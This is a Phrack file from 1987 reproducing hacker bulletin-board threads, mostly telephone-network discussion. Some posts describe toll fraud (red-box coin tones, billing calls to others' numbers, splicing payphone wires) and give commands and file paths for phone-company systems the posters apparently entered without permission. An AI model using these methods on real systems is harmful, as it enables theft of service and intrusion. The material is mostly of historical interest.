Hi, I've been absent for a while because of a disassembly of computer and some other mishaps going on. Anyway, things are still rolling along for SummerCon and the like so it should be a great event. All pertinent details will be released in PWN 14 (if it ever gets released) so watch for it.

:Knight Lightning

89/100: I heard.....

Name: The Disk Jockey 13

Date: 1:05 am Sun May 24, 1987

...that Metallica's KILL 'EM ALL compact disc has a special encrypted coding, that when played on one of the new laser storage devices by Xebec, will print every payphone number in the metro Chicago area.

Can anyone verify this?

The Disk Jockey

90/100: Phrack

Name: The Sensei 18

Date: 7:19 am Sun May 24, 1987

If Phrack just monthly? Seems you see it one month (new version), then you don't for another 2 months. Or is it one of those deals that "When it comes out, it comes out".

Ts

91/100: 2600 meeting

Name: Mad Hatter 51

Date: 10:59 am Sun May 24, 1987

Does anyone know any mroe info about the "2600 Public Get Together"? I heard it is on Friday, June 5th. Can anyone fill me in more? I (unfortunately) don't subscribe to 2600, and I just heard that from a friend... Thanks..

‑Hatter

92/100: 2600

Name: Control C 8

Date: 2:26 pm Sun May 24, 1987

The 2600 Public Get‑Together8/l Friday, June 5, 1987 at 5pm

It's at the Citicorp Center (atrium), 153 East 53rd St. New York City.

that's all I know about it..

Control

93/100: intersting

Name: The Leftist 71

Date: 11:05 pm Sun May 24, 1987

did you know.. that you can tie off all the bridges in your c.o. to a that filters off audio, and then, scream into the phone, and at the same time drop them 1 by one.. creates a neat little fade in effect..also, well never mind

94/100: Get togethers

Name: The Executioner 19

Date: 9:46 pm Tue May 26, 1987

Well....Citicorp eh? hahaehaoheoaeh...

"Excuse me, security, we have 100 screaming juveniles yelling something about ESS and K‑rad PABX'S D000DS!"

"Ah, yeah,..."

Anyway, let's all get together and see who REALLY goes to the beach in the summer eh? yes, ALBINO PHONE PHREAKS!!! WHY??? GET OUT OF THE GODDAMN HOUSE!

anyway....RANT!!!

Sexy

95/100: hella

Name: Lucifer 666 43

Date: 11:46 pm Tue May 26, 1987

just got to Illinois.... anyways, Yea Disk Jockey, I did that Metallica thing and it did work, plus it gave a TRW root privs act at the end, but no dialup...

L666

where 2?

96/100: well...

Name: Sir Francis Drake 56

Date: 11:17 pm Wed May 27, 1987

Blah. Vaguely interesting article in NetworkWorld about toll fraud. About a texas man who sold 15 codes to secret service agents for $3,000 (200 a piece!?) from TNT. But the big excitmnt about it is that he was found guilty by a judge and will now go in front of a jury, making it the first time a toll fraud case when in front of a jury. or something like that.

Noble House crashed Stroke Of Midnight. I knew you would care.

In other news...Bill From RNOC reports that french kissing his dog is a bad idea. And KL admits he is a mall rat. More later.

sfd

97/100: Network world/Drake

Name: Jester Sluggo 31

Date: 1:24 pm Fri May 29, 1987

Drake, I read that also, and I'm gunna U/L it to Knight for his Phrack World News... (So others can read).

/

\

/ luggo !!

98/100: Well...

Name: Sir Francis Drake 56

Date: 1:42 pm Fri May 29, 1987

Oh damn, and I had wanted to type it in so I could my name in *PHRACK*!. ..

EDITED, FULL JUSTIFIED, SPELL CHECKED, AND INCISIVE COMENTS BY

K N I G H T L I G H T I N I N G !

(typedbysfd)

‑‑‑‑‑

Yes one of these days im going to stop being mean to KL, just you wait.

sfd

99/100: lovely

Name: <<< The Executioner 19 >>>

Date: 1:41 am Sat May 30, 1987

Lovely...

I love people whose names take up more line space than their message....

Boy, wish I was just a rad kinda neat‑o peachy ‑keen type thrasher squid.

100/100: 15 Code Culprit

Name: The Sensei 18

Date: 6:07 pm Mon Jun 01, 1987

Yeah, upload the file...article. I wouldn't mind reading all the details. Maybe sticking it up on TSR.

Ts

Post on Phrack Inc./Gossip? No

^*

Phreak/Hack Sub

==Phrack Inc.==

Volume Two, Issue 20, File 7 of 12

Metal Shop Private's ‑‑ Phreak/Hack Sub

~~~~~~~~~~~~~~~~~~~~

This subboard contained all technical questions and conversations about phreaking and hacking. If something was illegal on it (occasionally some idiot would post codes and then soon after be deleted), it was removed as soon as I saw it.

1/70: Red Box......

Name: The Disk Jockey 13

Date: 4:24 am Sun Apr 26, 1987

Back at the private school I went to, everyone lived pretty much out of state, and would always be calling their girlfriends back at home, thus making a pretty big investment into the local payphones. After reading the files on how a red box worked, took my little dictation recorder and went to a payphone and found that I could record the tones that were made when you dropped quarters in. I recorded about $4 worth of quarters, and it worked great. Every time the computerized voice would say "Please deposit $1.70 for the past 5 minutes" you could just play the tape via a pair of sony walkman headphones into the mouthpiece, and the phone would think that you deposited money in it. It was pretty neat back then (several years ago.....) but every now and then you would get the regular operator on instead of that synthasized voice.

The Disk Jockey

Yes, not really important, but I saw "red box" in that last message and it reminded me of that. Those were the days when there were lots of extenders with 3 and 4 digit codes, and PBX's with NO codes.....

2/70: Since

Name: The Leftist 71

Date: 5:26 am Mon Apr 27, 1987

Since non‑sup seems to be popular these days

404‑289‑0000‑0009 test recordings, non‑supd.. I beleive 0004 is deposit coin.. anyway, these are fun to forward to when you dont want people to be able to reach you..

Ltist

3/70: Teleco numbers

Name: Mad Hatter 51

Date: 5:36 pm Mon Apr 27, 1987

Would most(all) of the Teleco numbers(i.e. 99xx series) be non‑suped? That would seem at semi‑logical atleast, eh?

‑Hatter

4/70: Tuning Fork

Name: Knight Lightning 2

Date: 7:34 pm Mon Apr 27, 1987

How succesful would you be if you tried to use a tuning fork to simulate 2600 Hertz? And if so, what would be good to use for MF? Fun, no? Heh!

Also, what does anyone know about the 508 NPA.

:Knight Lightning

5/70: Supvision Xlation

Name: Doom Prophet 21

Date: 10:13 pm Mon Apr 27, 1987

The best way to box is to pull a cat's tail after making a call, then get a rubber band and twang it in your teeth like Snoopy for MF.

Since we were talking about supervision a little bit, I went through some stuff I had on translations. What I think makes a number unsupervised (besies the fact that there is no return of supervision, or reverse battery signalling) is the charging translation in the terminating office. The screening code of a chart class (charges and route are determined by the chart class I believe) that denotes the call charge type would register to not make either a detailed or bulk AMA entry at the toll office (if the number is 1+ for someone), since it as if the number never answered. A 'detailed' AMA entry shows the calling and called numbers, whereas a bulk AMA entry shows only the calling number.

Something else about translations, it doesn't mean an 800 to POTS or special BTN when people talk about ESS translations, but the information on particular Directory Numbers that finds and identifies the line equipment of the called number (calling also I believe) that would provide any special info that is needed by the switch to process the call, for example, whether a call is coming from one or two party lines, or whether it is a four party line with full selective ringing (which can't be tested by MLT equipment which is why I remember it). If no translation influenced the way the call is processed, then how would the switch know to route tthe calling party to an operator for ONI if the calling line was more than two party (with the specifications talkd about earlier about the R and T leads status determining the billing also taken into consideration).

Anyway, this post is basically correct but if anyone finds any errors then please correct me.

Doom

6/70: Things

Name: Phantom Phreaker 46

Date: 10:41 pm Mon Apr 27, 1987

Well, RC's on an ESS are called translations too, at least when done by an RC‑MAC clerk. RC data involving a line that is changed can be called translations. Don't ask me why this is so, but it's what I've heard.

Does anyone here know what an ANIF‑7 is? As far as I can tell, it is an ANI failure to TSPS, but that's all I know about it...it can probably happen anytime, but I do know that it was a specific problem with an early 5ESS generic.

Oh yeah, another unsuped signusoid is at (618)235+0090..this was found by Syntax Error a long time ago. A neat thing about these 'tone sweeps' is that if you call through an OCC that uses an OUTWATS line that is set up on an inband signalling trunk, the OUTWATS linne will be trunked from the other end. This happens as the tone gets near 2600Hz, but it is more sensitive on an OCC switch, as something like 2710 and 2500 will also reset or trunk their equipment, or at least that's what I've found.

Phantom

7/70: FALFALAFL

Name: Taran King 1

Date: 11:01 pm Mon Apr 27, 1987

I'd like to congradulate Doom Prophet on his extremely witty response to KL's absolutely out‑of‑place post. REFRAIN

Question...Most test numbers are unsuped, but I have at least one tone sweep that I can think of off‑hand that is suped. What would be the purpose either way? Later

‑TK

8/70: repair number

Name: The Scanner 20

Date: 2:34 pm Tue Apr 28, 1987

Would the repair number used for a payphone be the same as a residence repair number? Also, Doesnt the place that houses the phone (say a gas station) don't they get a cut of the profits from the phone? If they do,

wouldnt they have the repair number?

_‑The Scanner

9/70: 2 Q's

Name: Circuit Breaker 5

Date: 12:11 pm Wed Apr 29, 1987

Why are there PBXs that give a loud tone before the code. And does anyone know what the difference is between the ANI‑D jack and regular ANI is?

10/70: Red‑boxing

Name: Icarus 15

Date: 11:32 am Thu Apr 30, 1987

I saw before that someone mentioned that the amount of money entered into a payphone of some kind is not kept track of. If this is true then it would seem impossible for MA DUMBELL to ever catch on to red‑boxing. That is if AT&T phones don't have a money counter in them. TK‑When the money was collected from the payphone, did you notice whether he had the amount of money that was "supposed" to be in there? Or whether he even checked it?

If the money is counted then it is possible that the person who collects the coins would get in trouble for not reporting all the money that was registered. The money not being there because of redboxing.

It is also possible to red box off of blue AT&T payphones (without a money slot). I am curious whether that can EVER be found out, since there is no money counter (obviously) to check.

Icarus

11/70: Well...

Name: Taran King 1

Date: 2:41 pm Thu Apr 30, 1987

Next time I see the guy there, I'll ask him, but I did see him write a few things down. None that I could decipher meant anything related to money so I'm not sure if there was a counter in it. I'll have to check it out though ‑TK

12/70: Payfone Mutin

Name: Jester Sluggo 31

Date: 6:49 pm Thu Apr 30, 1987

That was supposed to be "Payfone Muting".

In anycase, on most new payfones, they have what is called "Muting" which "mutes"‑out any red box tones from entering through the Mouthpiece. Those new non‑coin‑slot payfones should have those, but I've never tried.

/

\

/ luggo !!

13/70: DNR/Pen Registers

Name: Knight Lightning 2

Date: 7:04 pm Thu Apr 30, 1987

Are there any noticable effects from having one of these on your line? Static, a low hum in the background, or line noise where there shouldn't be?

:Knight Lightning

14/70: well...

Name: Lucifer 666 43

Date: 7:40 pm Thu Apr 30, 1987

about the tuning fork...it does work.. i've used a harmonica..

also, how exactly do the bandwiths switch in multiplexing...

L666

15/70: From what I've heard

Name: The Scanner 20

Date: 8:30 am Fri May 01, 1987

That there isnt any way to detect a Pen register. No humm, buzz, or any thing else. But hey, what do I know?

Dont answer that.

Anyway, 2 more questions,

Im sure momma bell knows all about red box tones and stuff like that. But, what about those independent co's that make pay telephones and just kinda hook them up to normal lines in stores and stuff. Wouldnt they be easy to box off of or do they work in a different way altogether? Well, that was only one but an answer is appreciated.

_‑The Scanner

16/70: 'Round here...

Name: Taran King 1

Date: 2:41 pm Fri May 01, 1987

In this region, you can't just play the tones into the mouthpiece and get cred (credit) for whatever you've played into the phone...you CAN, though, dial a long distance number, it will then say, "Please deposit $x.xx". You put in (play the tones for) the money and it says something like, "Thank you for using AT&T." Ta da

‑TK

17/70: Muxing, Etc

Name: Doom Prophet 21

Date: 4:56 pm Fri May 01, 1987

Lucifer, I think what you mean about the bandwidths changing in Multiplexing, you are referring to voice frequency bandwidths. Multiplexing is just a method of sending more than one converstation down the same transmission path. In analog and older switches the method is called Frequency Division Multiplexing, or FDM, when the signals are seperated on basis of frequency, as opposed to newer switches which do it on a Time division basis (TDM). There's also something called Space DM but I don't think it has a whole lot to do with telephones (maybe stuff like digital Xmission). But anyway, a normal VF voice bandwidth goes from 300 to 3000 Hz which is SF in band, although the VF channel goes from 0 to 4000 Hz. Anything above 3000 is out of band signalling (like 3700 Hz). CCIS uses a seperate nettwork composed of STP's and varioius links and channels for independent signalling methods.

About the red boxing, the circuits that keep track of the coins that have been entered are called Coin Detection & Announcement circuits (if the fortress is in an ACTS serving area), which are a part of the Station Signalling Announcement Subsystem which work out of local offices and in conjunction with TSPS (not TOPS as far as I have seenn, a flash of the switchook anytime during the initial charge announcements and an operator is connected. Playing the tones to a live operator wouldn't be a good idea as they can obviously tell the difference.

Something else, there was a little discussion about AMA and all (isn't there everywhere?) a while back. The way a local office (LAMA) would keep track of the billing data is to use a few AMA circuits (there are always two, AMA0 and AMA1 but can be more for big offices) that reverse positions (from an active to standby mode at midnight when the datta in the buffer is recorded onto the actual tapes). So the AMARC computers can format the data to where it is recognnized by the RAO, the tapes have to be specially customized for that particular officere. A header label on the tape (put on at the beginning of each new tape entry (12)) tells the originating NPA, the office number, date and tape transport dates. A tape trailer is added on at the end of the tape entry for that day, which has the info about how many total calls were AMA recorded. The tape mark is some digit (?) that tells the RAO that the useful info (that they need to look at) is ended. The billing data itself is in a binary coded decimal form (0's and 1's) along with check and dummy codes. A noncheck dummy code fills the spaces on the tape to signigy that there wasn't a problem, but the space is supposed tobe there. A check dummy code is because the info wasn't received or sent from the Peripheral Adress bus or from the originating register into the charge buffer. If you ever come across AMA records (like in the call store section of SCCS) it won't look like anything that can determine billing (AMARC and RAO do that). They aren't too hard to read though, just takes a while.

Doom

Read:(1‑70,^17),T,R,Q,P,A,? :

18/70: Correction

Name: Doom Prophet 21

Date: 5:52 pm Fri May 01, 1987

Damn, what I got that I thought was some type of AMA records are not AMA records (I think), so that means that I haven't been reading AMA records. Shit, that's something that I want to do. Have to get some.

Doom

19/70: well...

Name: Sir Francis Drake 56

Date: 8:15 pm Fri May 01, 1987

You mentioned the third time of multiplexing as Stad DM or something, I believe what you mean is Stattistcal Time Division (STDM). A STDM is just a normal TDM improved so that empty bandwiths (which occur on TDM) are used by busy ones. This allows a hell of alot more efficient use of the line then TDM's. STDM is mainly used when you have alot of terminals/whatever that wont always be being used.

Hmm, I have some good stuff on pay phone accounting somewhere....

sfd

20/70: Payf0nez

Name: Phantom Phreaker 46

Date: 10:57 pm Sat May 02, 1987

There are some types of payphones that are attached to a normal cable pair, a normal line, and in this case the payphone like usage would be determined in the phone and not in an office. I can't remember the exact type, or even where I read it but if I should find it by any chance then I'll put it p.

Phantom

21/70: P‑Phones

Name: Jester Sluggo 31

Date: 12:19 pm Sun May 03, 1987

Well, there are several manufacturers of payfones that make several different type of payfones. If someone could call up the factory, or a salesman, or dealer of these products, and pose as a perspective buyer, then that'd solve these questions.. (shit..)

It perhaps might make a good file for Phrack. But I don't have the time do to do those things.)

/

\

/ luggo !!

22/70: AMA

Name: Circuit Breaker 5

Date: 10:43 pm Sun May 03, 1987

There is some AMA info on LMOS. The audit file is under /dev/smlog /smlog.

I got a list for two different streams ST1 and ST2. You should see, office id

days until expiration

process start time

stop time

the ama default

ama teleprocessing

its also will have some stuff such as HOC password and a backup HOC password, Also look under /dev/unixabf /unixa/users, this will give you the termination codes after the stream code like:

S# (#)=termination code + date + time

Circuit Breaker

23/70: audit file

Name: Circuit Breaker 5

Date: 10:49 pm Sun May 03, 1987

One more thing to check on the audit file dump /no5text/rcv/aimrc. I would think the audit file is like audit on a VAX it just checks your access level if your insuficient you can't read that file.

24/70: Circuit Breaker

Name: Phantom Phreaker 46

Date: 1:11 am Mon May 04, 1987

(Trying hard to leave an intelligble post)

Circuit Breaker, what LMOS system do you have access to? Do you (it looks like it to me) have access to only the unix Front End system, or do you have the IBM VM370 host processor? Anyway, not all front ends are the same, try accessing the Cross Front End (XFE) via the Network Manager program (/usr/lbin, I think) nmx or the NMstatus program and checking for those specific files you posted about. I'll have to check the LMOS I have access to and see if those particular files you posted about exist. You also might want to look at the CRSAB RSA's help files for asyncronous terminal connections in the help directories. You are probably already good at unix, but try this to locate those help dirs:

$ cd /

$ du *>/dev/du.txt&

Then in a few minutes, do

$ cd /dev

$ cat du.txt

That will give you a listing of all the directories on that system, and if you see any that resemble help files then go there and cat everything...

Phantom

25/70: Payphones (again)

Name: Icarus 15

Date: 3:08 am Mon May 04, 1987

If the wires are exposed leading up to the payphone, and you hooked up handset to the appropriate wires, can you make direct calls? If the case is that you can, there are many phones I know of that do not have the metal encasing around the wires. I have to try it. I am pretty sure that bypassing the simple hardware of the payphone console itself does not grant open access to all outside lines. Or does it?

26/70: LMOS/Unix

Name: Evil Jay 26

Date: 4:18 am Mon May 04, 1987

Could someone print out some commands to do on LMOS? What exactly can be done on the system. Please explain. Also, how do you turn off the log when logging into a Unix, and if possible, could someone leave me a C prg to give my account root priveledges. Terminus was playing around, and letting me check out one of these prgs but I never got a chance to save/copy it. Thanks/...

‑Jay

27/70: Payphone Wires.....

Name: The Disk Jockey 13

Date: 7:33 am Mon May 04, 1987

At the school in Indiana that I went to, there were tunnels that connected every building in the school together and dated back to the early 1900's, so we would get drunk and cruise down there and check out old crap that you find laying around in the basements that some of these tunnels went to.

ANYWAYS, in one of these tunnels there was a HUGE phone block with hundreds of cable pair. I brought the dandy test‑set one night and started trying different connectors to get a dialtone. When I did get a dialtone, I tried to dial a local number, only to get a "please deposit 20 cents" recording, so my guess from that experiance would be that the phone doesn't make much of a difference, and that you would NOT be able to dial direct calls on it.

I have a driver's license that says I'm like 24, and I look it, so I too can buy for any who need it. Michigan licenses are the easiest to change, just as (ask) any Michigan person who was born in 1967.

The Disk Jockey

28/70: Fortresses/LMOS commands

Name: Phantom Phreaker 46

Date: 7:22 pm Mon May 04, 1987

Come to think of it, it is the actual line and not the phone in most cases, take a look at the Class of Service or Universal Service Order Code in an ISVH (ISH) or an INQ from COSMOS or get it via an Basic Output Report (BOR). Now, if you really wanted to go out of your way to 'fix' a payphone to where you could dial out normally, you might be able to accomplish this via RC‑MAC, or maybe an SCC. But if you did do this it would almost certainly die when the bill came.

Phantom

PS‑I will post up pertinent data from an ISH upon various payphones next time I log on, if anyone would like to see it.

29/70: Payphone ISH

Name: Phantom Phreaker 46

Date: 7:43 pm Mon May 04, 1987

Ok, I ISHed a few payphones and here's the results:

The STatus was (of course) WK (Working), the TYPE was C (Coin), the Class of Service (CS) is CN (CoiN), the Universal Service Order Code (US) is 1PC, which means single party something.. can't remember. The Line Class Code (LCC) field contained CDF, I don't know what CDF means though.

On older post‑pay telephones (the kind where it either gives you a loud annoying 'buzz' when the calling party answers, or the kind that allows you to hear them but them not hear you until you put your coins in) probably have a US of 1PP (Single party, Post Pay), and Coin First phones (the kind that you must put money in to get a dialtone) have a US of 1CF (Single party, Coin First).

Hope that helped,

Phantom

30/70: Question

Name: Cap'N Crax 10

Date: 3:43 am Tue May 05, 1987

Does anyone know why, and how, it

is allowable to place collect calls

to loop lines. I know that this

does work, as I have done it. I

was wondering how it (loop) is

classified, why it passes the billing

verify, and to whom is the billing

allocated? It is obviously recorded

on AMA, and it apparently pissed

off Bell. No more loop...

C^2

31/70: ‑‑‑‑‑‑‑‑

Name: Circuit Breaker 5

Date: 10:25 pm Tue May 05, 1987

Phantom what do you mean 'trying for an inteligible post'? I was telling Doom how to get some AMA data from LMOS. I am sure the LMOS you have access to has an AMA audit file, its just a security feature.

32/70: Call Blocking....

Name: The Mad Hacker 47

Date: 7:06 pm Wed May 06, 1987

What Is Call Blocking? It has something to do with a condition in ANI/ONI. I read it in My Cama Manual and It was vague. Any Help?

‑TMH

33/70: A few LMOS commands

Name: Control C 8

Date: 8:46 pm Wed May 06, 1987

Here's some /FOR commands

TV ‑ Trouble Verification

RJR and DMLR are jepordary reports..

Shit I had some more, but I can't rember..

Control

34/70: datakits...

Name: Slave Driver 58

Date: 11:56 am Thu May 07, 1987

Does anyone have any experience

hacking datakits?

NODE dkeasta blah blah

NETWORK ACCESS PASSWORD:

any ideas on the password? Anyone have ‑any‑ idea of the format, length etc?

any help appreciated..

Steve Driver

ps. I know what they do, I just need to get on famous last words|

35/70: More LMOS

Name: Doom Prophet 21

Date: 8:28 pm Thu May 07, 1987

Ok, I hadn't seen that in LMOS yet, CB, thanks for the info. There are other ways to access the info in an intermediate call store section/buffer of sorts from SCCS, and of course the AMARC systems. On another board, Phantom asked what AMASE was, I would think that it could be an abbreviated form of 'AMA Sensor', you know, BDT's, CDA's, and ESS software format sensors, or special VSS sensors maybe.

On LMOS..some of the things are common knowledge (in BSTJ's and all) but I will post a few and what they do.

Let's see, to screen status troubles, ttry /FOR MSCR. You may have to know employee codes of the screener and the MC code, it's been a while since I've been on.

The different actions in the Mechanized Screener transactions are run an MLT test, get job and work info, run RST transaction, read mail, clear the mask (indicating no action), review desk items, return to original status, put item on the Local Test Desk (used to test lines that the MLT/LTS equipment can't for some reason, such as selective ringing multiparty lines), put screener in the off duty status (returning work items into the pool I believe). Others are /Te (Trouble Entry), DISP, etc.

Something somewhat interesting, in the /tmp direcoty for an FE, look at the Console/log0 file, which contains countters and info on how many certain transactions have been done for a certain time period (RBOR is in there but I'm not sure about the rest). Other commands do things like add changes to LMOS tables, look at work summaries, check all jobs related to a certain CTTN (cable trouble ticket number) or TTN, and review all work items for specific FE's. If anyone wants anything specific about some of these commands leave ma (me) a letter or post since it seems the discussion is going good. I'm sure Marauder or others could proably correct me on a few points, but oh well.

Doom

36/70: Call Blocking/Loops/etc.

Name: Phantom Phreaker 46

Date: 11:09 pm Thu May 07, 1987

Circuit Breaker, what I meant was that I was fucked up, and having a hard time typing legibly. That's all.

Call blocking is a vague term, can you tell us what it relates to, CAMA, ANI, PBX's, or what? A basic description is that it is what happens when the network is operating at peak, and all trunks are busy, and thus the caller gets a re‑order or is left sitting there.

Be more specific if you can, because there is also a thing called 'blocking' on PBX's which is similar but on a smaller scale.

To whoever asked about the collect call to the loop, well loop‑around numbers are probably either an Official or a Test line, at least the ones I have seen. So unless they set some type of screening to it so it can't accept collect calls then you could collect call a loop, but hope that you didn't dial direct from your home because your number would be on their phone bill.

Control C, since you seem to have a manual or something on ESS, could you tell me what a RC15 report is, I am very confused about them. Thanks...

Phantom

37/70: Coin Tests...

Name: The Mad Hacker 47

Date: 12:07 am Fri May 08, 1987

SFD posted in the previous sub abour coin tests. I ask you this. The CO, upon completion of a call, removes ‑48 volts from the ring, ground from the tip and either a ‑130 volts(Refund) or +130 Volts(Collect) is applied to the tip to operate the cion relay in the phone. If Someone were to have acces to the exposed wires outside of the phone, wouldn't they be able to simulate the voltage necessary to refund their own money(Theoretically speaking if they could simulate the voltage in a Phone Booth of course)? Would that Be Possible? I also broke out my testboard, Station, and network Manuals and Found that their is some significance in turning the handset of the payphone upside down. I can't find out exactly why yet, but it is all over the "Coin Maintenance Check Booklet" that bell uses as reference for Coin Stations. I will search more through the book and see what I can find.

The Mad Hacker

38/70: Collect call

Name: Icarus 15

Date: 12:52 am Fri May 08, 1987

If you hack a mailphone system of some kind that only requires the number to be called and the initia message will be played, then you can have the message say, "Hello?........Sure. hangup|" This will enable you to make a third party billing call to anyone and use the mailphone system as the party paying for the call. The operator will cal up the mailphone, the msg will play and she'll hear the person being billed say, "Sure." when asked if they accept the charge.

In any case if you want to make a call bill it to 312‑410‑7132, and it will go straight through.

Icarus

39/70: Call blocking

Name: Lotus 38

Date: 3:44 am Fri May 08, 1987

I know that in parts of Florida that a new system uses the term "call blocking" simply to stop someone in your co's area from calling you. You would do something like "*80+number to block" and when that number calls you , a "You can not dial XXX‑XXXX at this time. Try again later"

Other features include immediate call back. This allows you to hit a few keys on the phone and call back whomever just called you (again, only if they are in your local co).

Anyone else have info on this?

40/70: Collect Calls.....

Name: The Disk Jockey 13

Date: 6:55 am Fri May 08, 1987

A few years ago, in school (out of state) everyone had their ways making free calls, someone had a number to a recording, something like that VMS, and it said "This number accepts all collect and 3rd party billing calls" and it worked all the time.

Another way is to make a collect call to an out‑of‑state extender. Let me say it this way....

I'm calling from 219 (Indiana) and I call the local MCI node in Chicago collect. The operator asks "your name" and you say in a fem voice "Brenda"....the call will go through, and you will here the usual MCI tone. RIGHT AWAY, you press a number on t touch tone pad, this will silent the MCI tone. Then you say in your own voice "Hello?" for all the operator knows, you are the one that answered! The only problem is that you have to work fast, else you get a re‑order in about 15 seconds.

The Disk Jockey

41/70: Call Blocking...

Name: The Mad Hacker 47

Date: 9:19 am Fri May 08, 1987

I will get more specific on the Call Blocking I am refering to. It isn't what Lotus suggested. That Sounds more like DMS‑100 Options(Sounds Exactly like them, in fact). I thought that the FCC wouldn't allow AT&T to use those options, though. Maybe I was mistaken. I think that the call blocking I was refering to is more towards the overload on any paticular circuit as was mentioned before.

The Mad Hacker

42/70: toll phone

Name: Circuit Breaker 5

Date: 10:46 pm Fri May 08, 1987

In most areas in Europe, the wire to payphones hang out below the phone if you splice those wires to you handset, you can dial direct without any imitation tones.

43/70: Call Blocking

Name: Phantom Phreaker 46

Date: 2:23 am Sat May 09, 1987

Call Blocking is indeed a feature of (C)LASS....but that CLASS feature is LATA based around LCCIS, not upon a CO and intraoffice calls. For more info read any CLASS file, or check out LOD/H TJ 1, file 1, CLASS, by Videosmith. It explains it pretty clearly. There was a PBX test number in 305 (the testing grounds of CLASS) that I had gotten somewhere that had a demo of CLASS features on it, such as Call trace, selective call forwarding, call blocking, etc. It was called Touch‑Star, I think, or maybe Touch‑Tel, one of the two. Anyway, LASS is used in the 717 (Harrisburg, PA) NPA.

Phantom

44/70: Addition.

Name: Phantom Phreaker 46

Date: 2:32 am Sat May 09, 1987

(I forgot something)

DMS‑100 does have something like it's own call blocking. It can be used to restrict certain types of lines from calling other types. The destination switch checks the information sent in from the (intraoffice) DN, (I think the Screening Code, probably) or from an INC (incoming trunk). This can be done to restrict access to official lines and such.

Phantom

45/70: i thought

Name: Lucifer 666 43

Date: 2:26 am Sun May 10, 1987

none of the DMS features blocking other people from calling you, etc| were not implemented.... I thought that the user‑choice stuff was never put in...

was I wrong?

L666

46/70: RC15?

Name: Control C 8

Date: 11:17 am Sun May 10, 1987

Phantom,

Are you sure the RC15 exists? RC's start at 16 and end at 29.. Maby I'm just screwed...

47/70: FACS

Name: Mad Hatter 51

Date: 5:57 pm Tue May 12, 1987

Can anyone fill me in on FACS? I got the file by Sharp Razor and Doom Prophet has told me about it somewhat, but can anyone explain detailed info on it? Thanks (d00d)...

‑Hatter

.s

48/70: TC15

Name: Phantom Phreaker 46

Date: 7:21 pm Tue May 12, 1987

Actually, it's a TC15 report on a 1AESS... not RC15. Sorry about that. A TC15 is very long and has a few acronyms in it that I don't recognize. About the only one I can remember right now was PUC, Peripheral Unit Controller.

For those of you who have problems with the acronyms posted here, you might want to check the N)eed acronyms option from the main menu on this board. This is an acronym list that I made a while back and gave to TK, and he put a few in himself. It's basically correct as far as I know, so please let's not add one unless you are sure.

Phantom

49/70: Carot, etc.

Name: Doom Prophet 21

Date: 4:41 pm Fri May 15, 1987

Well, I don't know that much about FACS, although I don't believe that it really acts as a replacement for COSMOS, more like an integration/mini datakit sort of thing for the different systems related to cosmos.

Mad Hatter was asking about CAROT in mail, and I looked through some stuff and here is some info about the system. It consists of the two processors for the CAROT (database section), the data and the test processor. The TP controls and directs the ROTL's and the Circuit Maintenance System (I've seen CMS‑1B and also CMS‑3A, don't know what the current version is). CMS 3A is used with TIRKS also. Anyway, the CAROT controller (which is supported by the two processors) can do something like 14 tests at the same time (at night when their is less traffic on the trunks). The CC also analyzes and sends out the test results to the appropriate departments or offices (the CO, an SCC or a CTTU station). The ROTL is accessed just by the technician dialing it, which is why anyone can dial them. The ROTL is controlled by MF input of the trunk group and network numbers. I have seen TNN's as being three digits, but I guess it depends upon the office size. The ROTL seizes the trunk to be tested. The ATMS responder (Automated Trunk Measurement System) is connected to the ends of the tested trunk to receive tthe test measurements. The ROTL somehow attaches test equipment to the origiinating end of the trunk. Other test lins are used for the terminating end (going into another CO or switch)...I'm sure everyone knows there are dialups to CAROT, these are from the Remote User Multiplex, the ports for remote terminals to call in through (unless the dialup serves for some type of diagnostics testing upon the test equimpment itself). 16 people can be on the same RUM....I don't know if that means 16 people can dial the same dialup and somehow still connect (highly improbable). Lex would probably know more about it.

Doom

50/70: Advanced 800

Name: Taran King 1

Date: 5:00 pm Fri May 15, 1987

Well, I know that many people have been told that to get translations for 800 numbers, they should call an office that has access to the NCP database. I just read a bit about it in CO which I thought was sort of interesting. It's part of DSDC (Direct Services Dialing Capabilities). The subscriber dials the 800 number which is then routed to a 4E. From there, it goes to the ACP (Action Control Point or is it ACtion Point?|) which is software that determines the special type of call (toll free/976/etc.). The ACP gets it's (its) information from the NCP which is the Network Control Point. The NCP database receives the call information through CCS and checks on the customer service information that the call information goes with, thereby determining how to route the call and sends the info back to the ACP. The SMS (Service Management System) is used to update information and for definition of that information. The NCP database can contain various information such as where the translation routes determined by origin of call or time of day too.

I have a question about CCS. What is signifigant about the number version? I mean, is the information transmitted done differently (different protocol or manner of sending) or is it just updates to the way it's wired up? McBlah ‑TK

51/70: CCS

Name: Mad Hatter 51

Date: 6:02 pm Fri May 15, 1987

Randy‑ I can't seem to find that ancronym or any mention of it. I've followed your post all they way up to that. The Advanced 800 Service you read had to do with the SPC Network? The paragraph you typed was the same(not word for word) as the one here in the Tech on SPC Net. ACP stands for ACtion Point.

‑Hatter

Excuse the time/date of this call..

52/70: CCS

Name: Taran King 1

Date: 11:05 pm Fri May 15, 1987

The CCS that I mentioned (CCS7 presently) is like the modern term for CCIS. I'm not sure why they changed it, but that's the accepted acronym now. The information that I got from CO magazine was discussing the BOCs' involvement in 800 services now. It's highly possible (and probable) that they use the same method of signaling for this. Hmm...Oh well, still, I want to know about the different versions of CCS. Later

‑TK

53/70: CCS

Name: Phantom Phreaker 46

Date: 12:52 pm Sat May 16, 1987

Ok, the international version of CCS is known as as CCITT6, (or 'the CCITT signalling system No. 6) which are centered around an International Switching Center (ISC). CCITT No. 6 can identify 2048 trunks (CCS can ID 8192 trunks).

I have some pages from an old BSTJ on CCIS in front of me, they have a good amount of information about CCITT6 in here. One interesting table inn here is Calling parties categries, which are in bits 13‑16 of a CCITT No. 6 'message', there are provisions for operators in French, English, German, Russian, and Spanish, and other user selectable languages, data call, test call, spare, etc. I'll have to read more about this, it would be interesting to find out how you could make an int'l call over CCITT No. 6 (or maybe 7 now as someone said) as a test call.

Phantom

54/70: Badgers...

Name: Taran King 1

Date: 7:38 pm Sat May 16, 1987

A long, long time ago, Jester Sluggo found some stuff about Badgers while trashing. Just today, in conversation, I found out a bit about what these are. It is a piece of machinery (Badger is the brand name) which is located in the SCC (supposedly). It is used for remote trunk testing and it grabs the circuit to be tested and runs whatever on it. I have a feeling this is more for the independant telcos but I couldn't say for sure. Later

‑TK

55/70: Here's......

Name: The Disk Jockey 13

Date: 12:40 am Mon May 18, 1987

..an employee numthat I guess is sort of a Sprint Newsline.

It was LEECHED off of another board, so it remains ted: 8‑332‑0111

56/70: Anyone know?

Name: Cap'N Crax 10

Date: 2:22 am Mon May 18, 1987

